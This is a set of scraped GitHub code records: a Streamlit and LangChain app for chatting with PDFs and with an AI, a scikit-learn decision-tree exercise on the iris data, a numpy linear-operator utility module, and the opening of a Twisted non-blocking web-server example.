user.\r\n You will get questions and contextual information.\r\n\r\n question: {question}\r\n =========\r\n context: {context}\r\n =======\"\"\"\r\n QA_PROMPT = PromptTemplate(template=qa_template, input_variables=[\"question\", \"context\"])\r\n\r\n def conversational_chat(self, query):\r\n \"\"\"\r\n Start a conversational chat with a model via Langchain\r\n \"\"\"\r\n llm = ChatOpenAI(model_name=model_name, temperature=temperature)\r\n\r\n retriever = self.vectors#.as_retriever()\r\n\t \r\n memory = ConversationBufferMemory(memory_key=\"chat_history\")\r\n question_generator = LLMChain(llm=llm, prompt=CONDENSE_QUESTION_PROMPT,verbose=True)\r\n doc_chain = load_qa_chain(llm=llm, \r\n \r\n prompt=self.QA_PROMPT,\r\n verbose=True,\r\n chain_type= \"stuff\"\r\n )\r\n\r\n chain = ConversationalRetrievalChain(\r\n retriever=retriever, combine_docs_chain=doc_chain, question_generator=question_generator, memory=memory, verbose=True)#, return_source_documents=True)\r\n\r\n\r\n chain_input = {\"question\": query}#, \"chat_history\": st.session_state[\"history\"]}\r\n result = chain(chain_input)\r\n\r\n st.session_state[\"history\"].append((query, result[\"answer\"]))\r\n #count_tokens_chain(chain, chain_input)\r\n return result[\"answer\"]\r\n\r\ndef count_tokens_chain(chain, query):\r\n with get_openai_callback() as cb:\r\n result = chain.run(query)\r\n st.write(f'###### Tokens used in this conversation : {cb.total_tokens} tokens')\r\n return result \r\n# from langchain.vectorstores import Chroma\r\n# from langchain.document_loaders import UnstructuredPDFLoader\r\nimport PyPDF2\r\n@st.cache_data\r\ndef load_docs(files):\r\n st.sidebar.info(\"`Reading doc ...`\")\r\n all_text = \"\"\r\n for file_path in files:\r\n file_extension = os.path.splitext(file_path.name)[1]\r\n if file_extension == \".pdf\":\r\n pdf_reader = PyPDF2.PdfReader(file_path)\r\n text = \"\"\r\n for page in pdf_reader.pages:\r\n text += page.extract_text()\r\n all_text += text\r\n elif file_extension == \".txt\":\r\n stringio = StringIO(file_path.getvalue().decode(\"utf-8\"))\r\n text = stringio.read()\r\n all_text += text\r\n else:\r\n st.warning('Please provide txt or pdf.', icon=\"Рџа№ИЈ\")\r\n return all_text\r\n\r\n\r\n\r\n\r\n@st.cache_resource\r\ndef create_retriever(_embeddings, splits, retriever_type):\r\n if retriever_type == \"SIMILARITY SEARCH\":\r\n try:\r\n vectorstore = FAISS.from_texts(splits, _embeddings)\r\n except (IndexError, ValueError) as e:\r\n st.error(f\"Error creating vectorstore: {e}\")\r\n return\r\n retriever = vectorstore.as_retriever(k=5)\r\n elif retriever_type == \"SUPPORT VECTOR MACHINES\":\r\n retriever = SVMRetriever.from_texts(splits, _embeddings)\r\n\r\n return retriever\r\n\r\n@st.cache_resource\r\ndef split_texts(text, chunk_size, overlap, split_method):\r\n\r\n # Split texts\r\n # IN: text, chunk size, overlap, split_method\r\n # OUT: list of str splits\r\n\r\n st.sidebar.info(\"`Splitting doc ...`\")\r\n\r\n split_method = \"RecursiveTextSplitter\"\r\n text_splitter = RecursiveCharacterTextSplitter(\r\n chunk_size=chunk_size, chunk_overlap=overlap, separators=[\" \", \",\", \"\\n\"])\r\n\r\n splits = text_splitter.split_text(text)\r\n if not splits:\r\n st.error(\"Failed to split document\")\r\n st.stop()\r\n\r\n return splits\r\ndef doc_search(temperature):\r\n def generate(query):\r\n template = \"\"\"Assistant is a large language model trained by OpenAI.\r\n\r\n Assistant is designed to be able to assist with a wide range of tasks, from answering simple questions to providing in-depth explanations and discussions on a wide range of topics. As a language model, Assistant is able to generate human-like text based on the input it receives, allowing it to engage in natural-sounding conversations and provide responses that are coherent and relevant to the topic at hand.\r\n\r\n Assistant is constantly learning and improving, and its capabilities are constantly evolving. It is able to process and understand large amounts of text, and can use this knowledge to provide accurate and informative responses to a wide range of questions. Additionally, Assistant is able to generate its own text based on the input it receives, allowing it to engage in discussions and provide explanations and descriptions on a wide range of topics.\r\n\r\n Overall, Assistant is a powerful tool that can help with a wide range of tasks and provide valuable insights and information on a wide range of topics. Whether you need help with a specific question or just want to have a conversation about a particular topic, Assistant is here to assist.\r\n\r\n {history}\r\n Human: {human_input}\r\n Assistant:\"\"\"\r\n\r\n prompt = PromptTemplate(\r\n input_variables=[\"history\", \"human_input\"], \r\n template=template\r\n )\r\n\r\n\r\n chatgpt_chain = LLMChain(\r\n llm=OpenAI(temperature=0), \r\n prompt=prompt, \r\n verbose=True, \r\n memory=ConversationBufferWindowMemory(k=2),\r\n )\r\n\r\n output = chatgpt_chain.predict(human_input=query)\r\n return output\r\n def get_text():\r\n input_text = st.text_input(\"\", key=\"input\")\r\n return input_text \r\n def prompt_form():\r\n \"\"\"\r\n Displays the prompt form\r\n \"\"\"\r\n with st.form(key=\"my_form\", clear_on_submit=True):\r\n user_input = st.text_area(\r\n \"Query:\",\r\n placeholder=\"Ask me anything about the document...\",\r\n key=\"input_\",\r\n label_visibility=\"collapsed\",\r\n )\r\n submit_button = st.form_submit_button(label=\"Send\")\r\n \r\n is_ready = submit_button and user_input\r\n return is_ready, user_input\r\n col1, col2 = st.columns([1,0.19])\r\n col1.write(\"Write your query here:Ъњг\")\r\n\r\n if 'generated' not in st.session_state:\r\n st.session_state['generated'] = ['I am ready to help you!']\r\n\r\n if 'past' not in st.session_state:\r\n st.session_state['past'] = ['Hey there!']\r\n #user_input = get_text()\r\n is_ready, user_input = prompt_form()\r\n #is_readyy = st.button(\"Send\")\r\n convo = []\r\n output = \"\"\r\n if is_ready: # user_input:\r\n output = generate(user_input)\r\n st.session_state.past.append(user_input)\r\n st.session_state.generated.append(output)\r\n \r\n\r\n if st.session_state['generated']:\r\n\r\n for i in range(len(st.session_state['generated'])-1, -1, -1):\r\n message(st.session_state[\"generated\"][i], key=str(i))\r\n message(st.session_state['past'][i], is_user=True, key=str(i) + '_user')\r\n convo.append(\"Human: \" + str(st.session_state['past'][i]))\r\n convo.append(\"AI: \" + str(st.session_state[\"generated\"][i]))\r\n convo.append(\"\\n\")\r\n text_conv = '\\n'.join(convo)\r\n # Provide download link for text file\r\n col2.download_button(\r\n label=\"Download Conversation\",\r\n data=text_conv,\r\n file_name=f\"Conversation_{datetime.datetime.now().strftime('%Y-%m-%d_%H-%M-%S')}.txt\",\r\n mime=\"text/plain\"\r\n )\r\n\r\n\r\ndef main(temperature):\r\n # Instantiate the main components\r\n layout, sidebar, utils = Layout(), Sidebar(), Utilities()\r\n\r\n layout.show_header()\r\n\r\n if not user_api_key:\r\n layout.show_api_key_missing()\r\n else:\r\n os.environ[\"OPENAI_API_KEY\"] = user_api_key\r\n\r\n uploaded_file = utils.handle_upload()\r\n\r\n if uploaded_file:\r\n # Initialize chat history\r\n history = ChatHistory()\r\n\r\n # Configure the sidebar\r\n sidebar.show_options(uploaded_file)\r\n\r\n try:\r\n chatbot = utils.setup_chatbot(\r\n uploaded_file, st.session_state[\"model\"], st.session_state[\"temperature\"]\r\n )\r\n st.session_state[\"chatbot\"] = chatbot\r\n\r\n if st.session_state[\"ready\"]:\r\n # Create containers for chat responses and user prompts\r\n response_container, prompt_container = st.container(), st.container()\r\n\r\n with prompt_container:\r\n # Display the prompt form\r\n is_ready, user_input = layout.prompt_form()\r\n\r\n # Initialize the chat history\r\n history.initialize(uploaded_file)\r\n\r\n # Reset the chat history if button clicked\r\n if st.session_state[\"reset_chat\"]:\r\n history.reset(uploaded_file)\r\n\r\n if is_ready:\r\n # Update the chat history and display the chat messages\r\n history.append(\"user\", user_input)\r\n output = st.session_state[\"chatbot\"].conversational_chat(user_input)\r\n history.append(\"assistant\", output)\r\n\r\n con = history.generate_messages(response_container)\r\n con = '\\n'.join(con)\r\n # Provide download link for text file\r\n st.download_button(\r\n label=\"Download Conversation\",\r\n data=con,\r\n file_name=f\"Conversation_{datetime.datetime.now().strftime('%Y-%m-%d_%H-%M-%S')}.txt\",\r\n mime=\"text/plain\"\r\n )\r\n except Exception as e:\r\n st.error(f\"Error: {str(e)}\")\r\n\r\n sidebar.about()\r\n\r\n\r\n\r\n# Define a dictionary with the function names and their respective functions\r\nfunctions = [\r\n \"Select a Chat\",\r\n \"Chat with Docs\",\r\n \"Chat with AI\"\r\n]\r\n\r\nst.set_page_config(layout=\"wide\", page_icon=\"Ъњг\", page_title=\"AI Chatbot Ъцќ\")\r\n#st.markdown(\"# AI Chat with Docs and Web!ЪЉй\")\r\nst.markdown(\r\n \"\"\"\r\n Enter your OpenAI API key to start conversation
\r\n\r\n
\r\n \"\"\",\r\n unsafe_allow_html=True,\r\n )\r\n#st.title(\"\")\r\n\r\nst.subheader(\"Select any chat typeЪЉЄ\")\r\n# Create a selectbox with the function names as options\r\nselected_function = st.selectbox(\"Select a Chat\", functions, index = 0)\r\n \r\n\r\nif os.path.exists(\".env\") and os.environ.get(\"OPENAI_API_KEY\") is not None:\r\n user_api_key = os.environ[\"OPENAI_API_KEY\"]\r\n st.sidebar.success(\"API key loaded from .env\", icon=\"Ъџђ\")\r\nelse:\r\n user_api_key = st.sidebar.text_input(\r\n label=\"#### Enter OpenAI API key ЪЉЄ\", placeholder=\"Paste your openAI API key, sk-\", type=\"password\"\r\n )\r\n if user_api_key:\r\n st.sidebar.success(\"OpenAI API key loaded\", icon=\"Ъџђ\")\r\n MODEL_OPTIONS = [\"gpt-3.5-turbo\", \"gpt-4\", \"gpt-4-32k\"]\r\n max_tokens = {\"gpt-4\":7000, \"gpt-4-32k\":31000, \"gpt-3.5-turbo\":3000}\r\n TEMPERATURE_MIN_VALUE = 0.0\r\n TEMPERATURE_MAX_VALUE = 1.0\r\n TEMPERATURE_DEFAULT_VALUE = 0.9\r\n TEMPERATURE_STEP = 0.01\r\n model_name = st.sidebar.selectbox(label=\"Model\", options=MODEL_OPTIONS)\r\n top_p = st.sidebar.slider(\"Top_P\", 0.0, 1.0, 1.0, 0.1)\r\n freq_penalty = st.sidebar.slider(\"Frequency Penalty\", 0.0, 2.0, 0.0, 0.1)\r\n temperature = st.sidebar.slider(\r\n label=\"Temperature\",\r\n min_value=TEMPERATURE_MIN_VALUE,\r\n max_value=TEMPERATURE_MAX_VALUE,\r\n value=TEMPERATURE_DEFAULT_VALUE,\r\n step=TEMPERATURE_STEP,)\r\n\r\nif selected_function == \"Chat with Docs\":\r\n main(temperature)\r\nelif selected_function == \"Chat with AI\":\r\n os.environ[\"OPENAI_API_KEY\"] = user_api_key\r\n doc_search(temperature)\r\nelif selected_function == \"Select a Chat\":\r\n st.markdown(\r\n \"\"\"\r\n Chat with Docs and AI!Ъњг
\r\n\r\n
\r\n \"\"\",\r\n unsafe_allow_html=True,\r\n )\r\nelse:\r\n st.warning(\"You haven't selected any AI Chat!!\")\r\n \r\n \r\n","repo_name":"vantagecorp-jarvis/AI-Chat-with-PDF","sub_path":"app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":25808,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"65"}
+{"seq_id":"26131885691","text":"import pandas as pd\nimport matplotlib.pyplot as plt\nfrom sklearn.datasets import load_iris\n\niris = load_iris()\nprint(iris)\nprint(iris.data)\n\nimport seaborn as sns\ndf = sns.load_dataset('iris')\nprint(df.head)\n\nX = df.iloc[:, :-1] # species non independent feature\nY = iris.target\n\nprint(X)\nprint(Y)\n\n# model training\nfrom sklearn.model_selection import train_test_split\nX_train, X_test, Y_train, Y_test = train_test_split(X, Y, test_size=0.33, random_state=42)\n\nprint(X_train)\n\n# making decision tree model\nfrom sklearn.tree import DecisionTreeClassifier\ntreemodel = DecisionTreeClassifier() # post pruning\ntreemodel.fit(X_train, Y_train)\n\nfrom sklearn import tree\nplt.figure(figsize=(10, 8))\ntree.plot_tree(treemodel, filled=True)\n# plt.show()\n\n# prediction tyme\ny_pred = treemodel.predict(X_test)\nprint(y_pred)\n\nfrom sklearn.metrics import accuracy_score, classification_report\nscore = accuracy_score(y_pred, Y_test)\nprint(score) # won't be good as we have not done any pruning\n\nprint(classification_report(y_pred, Y_test))\n","repo_name":"Suga7772/Deep-Learning-BWF-Mahrukh-Khan","sub_path":"Task 18/more decision tree.py","file_name":"more decision tree.py","file_ext":"py","file_size_in_byte":1039,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"65"}
+{"seq_id":"22901042297","text":"\"\"\"Definition of useful linear operators\"\"\"\nimport numpy as np\nfrom copy import copy\nfrom interface import LinearOperator\n\nclass NDOperator(LinearOperator):\n \"\"\"Subclass of LinearOperator that handle multidimensional inputs and outputs\"\"\"\n def __init__(self, shapein, shapeout, matvec, rmatvec=None, matmat=None, rmatmat=None,\n dtypein=None, dtypeout=None, dtype=None):\n\n sizein = np.prod(shapein)\n sizeout = np.prod(shapeout)\n shape = (sizeout, sizein)\n\n ndmatvec = lambda x: matvec(x.reshape(shapein)).ravel()\n\n if rmatvec is not None:\n ndrmatvec = lambda x: rmatvec(x.reshape(shapeout)).ravel()\n else:\n ndrmatvec = None\n\n LinearOperator.__init__(self, shape, ndmatvec, ndrmatvec, dtype=dtype,\n dtypein=dtypein, dtypeout=dtypeout)\n\n self.ndmatvec = matvec\n self.ndrmatvec = rmatvec\n self.shapein = shapein\n self.shapeout = shapeout\n\n\nclass NDSOperator(NDOperator):\n def __init__(self, shapein=None, shapeout=None, classin=None,\n classout=None, dictin=None, dictout=None, xin=None, xout=None,\n matvec=None, rmatvec=None, dtype=np.float64, dtypein=None,\n dtypeout=None):\n \"Wrap linear operation working on ndarray subclasses in InfoArray style\"\n if xin is not None:\n shapein = xin.shape\n classin = xin.__class__\n dictin = xin.__dict__\n dtype = xin.dtype\n\n if xout is not None:\n shapeout = xout.shape\n classout = xout.__class__\n dictout = xout.__dict__\n\n sizein = np.prod(shapein)\n sizeout = np.prod(shapeout)\n shape = (sizeout, sizein)\n\n self.ndsmatvec = matvec\n self.ndsrmatvec = rmatvec\n self.classin = classin\n self.classout = classout\n self.dictin = dictin\n self.dictout = dictout\n self.shapein = shapein\n self.shapeout = shapeout\n\n if matvec is not None:\n def smatvec(x):\n xi = classin(data=x)\n xi.__dict__ = dictin\n return matvec(xi)\n else:\n raise ValueError('Requires a matvec function')\n\n if rmatvec is not None:\n def srmatvec(x):\n xo = classout(data=x)\n xo.__dict__ = dictout\n return rmatvec(xo)\n else:\n rmatvec = None\n\n NDOperator.__init__(self, shapein, shapeout, smatvec, rmatvec=srmatvec,\n dtypein=dtypein, dtypeout=dtypeout, dtype=dtype)\n \ndef ndoperator(*kargs, **kwargs):\n \"Transform n-dimensional linear operators into LinearOperators\"\n return NDOperator(*kargs, **kwargs)\n\ndef masubclass(xin=None, xout=None, shapein=None, shapeout=None, classin=None,\n classout=None, dictin=None, dictout=None,\n matvec=None, rmatvec=None, dtype=np.float64, dtypein=None, dtypeout=None):\n \"Wrap linear operation working on ndarray subclasses in MaskedArray style\"\n if xin is not None:\n shapein = xin.shape\n classin = xin.__class__\n dictin = xin.__dict__\n dtype = xin.dtype\n if xout is not None:\n shapeout = xout.shape\n classout = xout.__class__\n dictout = xout.__dict__\n sizein = np.prod(shapein)\n sizeout = np.prod(shapeout)\n shape = (sizeout, sizein)\n if matvec is not None:\n def ndmatvec(x):\n xi = classin(x.reshape(shapein))\n xi.__dict__ = dictin\n return matvec(xi).reshape(sizeout)\n else:\n raise ValueError('Requires a matvec function')\n if rmatvec is not None:\n def ndrmatvec(x):\n xo = classout(x.reshape(shapeout))\n xo.__dict__ = dictout\n return rmatvec(xo).reshape(sizein)\n else:\n ndrmatvec = None\n return LinearOperator(shape, matvec=ndmatvec, rmatvec=ndrmatvec, dtype=dtype,\n dtypein=dtypein, dtypeout=dtypeout)\n\ndef ndsubclass(**kwargs):\n \"Wrap linear operation working on ndarray subclasses in InfoArray style\"\n return NDSOperator(**kwargs)\n\ndef diag(d, shape=None, dtype=None):\n \"Returns a diagonal Linear Operator\"\n if shape is None:\n shape = 2 * (d.size,)\n if shape[0] != shape[1]:\n raise ValueError('Diagonal operators must be square')\n def matvec(x):\n return d * x\n if dtype is None:\n dtype = d.dtype\n return LinearOperator(shape, matvec=matvec, rmatvec=matvec, dtype=dtype)\n\ndef identity(shape, dtype=np.float64):\n \"Returns the identity linear Operator\"\n if shape[0] != shape[1]:\n raise ValueError('Identity operators must be square')\n def matvec(x):\n return x\n return LinearOperator(shape, matvec=matvec, rmatvec=matvec, dtype=dtype)\n\ndef eye(shape, dtype=np.float64):\n \"Returns the identity linear Operator\"\n if shape[0] == shape[1]:\n return identity(shape, dtype=dtype)\n else:\n def matvec(x):\n return x[:shape[0]]\n def rmatvec(x):\n return np.concatenate(x, np.zeros(shape[0] - shape[1]))\n return LinearOperator(shape, matvec=matvec, rmatvec=rmatvec, dtype=dtype)\n\ndef fftn(shapein, dtypein=np.float64, dtypeout=np.complex128, s=None, axes=None):\n \"fftn LinearOperator\"\n import numpy.fft\n if s is None:\n shapeout = shapein\n else:\n shapeout = s\n def matvec(x):\n return np.fft.fftn(x, s=s, axes=axes)\n def rmatvec(x):\n return np.fft.ifftn(x, s=s, axes=axes)\n return ndoperator(shapein, shapeout, matvec, rmatvec, dtypein=dtypein,\n dtypeout=dtypeout)\n\ndef fft2(shapein, dtypein=np.float64, dtypeout=np.complex128, s=None, axes=(-2, -1)):\n \"fft2 LinearOperator\"\n import numpy.fft\n if len(shapein) != 2:\n raise ValueError('Error expected 2 dimensional shape')\n if s is None:\n shapeout = shapein\n else:\n shapeout = s\n def matvec(x):\n return np.fft.fftn(x, s=s, axes=axes)\n def rmatvec(x):\n return np.fft.ifftn(x, s=s, axes=axes)\n return ndoperator(shapein, shapeout, matvec, rmatvec, \n dtypein=dtypein, dtypeout=dtypeout)\n\ndef convolve(shapein, kernel, mode='full'):\n \"\"\" Linear Operator to convolve two N-dimensional arrays\n\n See Also:\n scipy.signal.convolve\n \"\"\"\n from scipy.signal import convolve\n #if len(shapein) != 2:\n # raise ValueError('Error expected 2 dimensional shape')\n if mode == 'full':\n shapeout = [s + ks - 1 for s, ks in zip(shapein, kernel.shape)]\n if mode == 'valid':\n shapeout = [s - ks + 1 for s, ks in zip(shapein, kernel.shape)]\n if mode == 'same':\n shapeout = shapein\n # reverse kernel\n s = (slice(None, None, -1), ) * kernel.ndim\n rkernel = kernel[s]\n def matvec(x):\n return convolve(x, kernel, mode=mode)\n def rmatvec(x):\n if mode == 'full':\n rmode = 'valid'\n elif mode == 'valid':\n rmode = 'full'\n elif mode == 'same':\n rmode = 'same'\n return convolve(x, rkernel, mode=rmode)\n return ndoperator(shapein, shapeout, matvec, rmatvec, dtype=kernel.dtype)\n\ndef mask(mask, dtype=np.float64, copy_array=False, remove_nan=False):\n \"Masking as a LinearOperator\"\n shapein = mask.shape\n shapeout = mask.shape\n # make a copy to be sure mask does not change\n op_mask = copy(1 - mask)\n def matvec(x):\n if copy_array:\n y = copy(x)\n else:\n y = x\n x *= op_mask\n if remove_nan:\n x[np.isnan(x)] = 0.\n return y\n\n return ndoperator(shapein, shapeout, matvec, matvec, dtype=dtype)\n\ndef decimate(mask, dtype=np.float64):\n \"Masking as a LinearOperator\"\n shapein = mask.shape\n shapeout = np.sum(mask == False)\n def matvec(x):\n return x[mask==False]\n def rmatvec(x):\n y = np.zeros(shapein, dtype=dtype)\n y[mask==False] = x\n return y\n return ndoperator(shapein, shapeout, matvec, rmatvec, dtype=dtype)\n\ndef diff(shapein, axis=-1, dtype=np.float64):\n shapeout = np.asarray(shapein)\n shapeout[axis] -= 1\n shapetmp = list(shapeout)\n shapetmp[axis] += 2\n tmp = np.zeros(shapetmp)\n s = [slice(None),] * len(shapein)\n s[axis] = slice(1, -1)\n def matvec(x):\n return np.diff(x, axis=axis)\n def rmatvec(x):\n tmp[s] = x\n return - np.diff(tmp, axis=axis)\n return ndoperator(shapein, shapeout, matvec, rmatvec, dtype=dtype)\n\ndef binning(shapein, factor, axis=-1, dtype=np.float64):\n shapeout = np.asarray(copy(shapein))\n shapeout[axis] /= factor\n def matvec(x):\n return bin(x, factor, axis=axis)\n def rmatvec(x):\n return replicate(x, factor, axis=axis)\n return ndoperator(shapein, shapeout, matvec=matvec, rmatvec=rmatvec, \n dtype=dtype)\n\ndef bin(arr, factor, axis=-1):\n shapeout = np.asarray(arr.shape)\n shapeout[axis] /= factor\n outarr = np.zeros(shapeout)\n s0 = [slice(None),] * arr.ndim\n s1 = [slice(None),] * arr.ndim\n for i in xrange(arr.shape[axis]):\n s0[axis] = i\n s1[axis] = np.floor(i / factor)\n outarr[s1] += arr[s0]\n return outarr\n\ndef replicate(arr, factor, axis=-1):\n shapeout = np.asarray(arr.shape)\n shapeout[axis] *= factor\n outarr = np.zeros(shapeout)\n s0 = [slice(None),] * arr.ndim\n s1 = [slice(None),] * arr.ndim\n for i in xrange(shapeout[axis]):\n s0[axis] = i\n s1[axis] = np.floor(i / factor)\n outarr[s0] = arr[s1]\n return outarr\n\ndef axis_mul(shapein, vect, axis=-1, dtype=np.float64):\n shapeout = shapein\n def matvec(x):\n y = np.empty(x.shape)\n s = [slice(None), ] * x.ndim\n for i in xrange(x.shape[axis]):\n s[axis] = i\n y[s] = x[s] * vect\n return y\n return ndoperator(shapein, shapeout, matvec=matvec, rmatvec=matvec,\n dtype=dtype)\n\ndef mul(shapein, num, dtype=np.float64):\n if not np.isscalar(num):\n raise ValueError('mul expect a scalar as input')\n def matvec(x):\n y = num * x\n return y\n return ndoperator(shapein, shapein, matvec=matvec, rmatvec=matvec,\n dtype=dtype)\n","repo_name":"admin-root-123456/apliHRTest2","sub_path":"venv/Lib/site-packages/lo/operators.py","file_name":"operators.py","file_ext":"py","file_size_in_byte":10307,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"65"}
+{"seq_id":"39358042648","text":"# file: nonblocking_post.py\n\n# Dynamic Twisted imports not recognized.\n# pylint: disable-msg=E1101\n\n\"\"\"\nExample for a non-blocking HTTP server with Twisted.\n\nTwo things are important:\n1. The render method of a page returns `server.NOT_DONE_YET` to\n signal that it will deliver its content later.\n2. We use the decorator `@defer.inlineCallbacks` to make\n using deferreds easier.\n\"\"\"\n\n\nimport math\nimport time\n\nfrom twisted.internet import defer, threads\nfrom twisted.web import resource, server\n\nimport plain_pi\n\n\nclass EntryPage(resource.Resource):\n \"\"\"Start page with form for inputing calculation values.\n \"\"\"\n\n def render(self, request):\n \"\"\"Render the page.\n \"\"\"\n return \"\"\"\n \n \n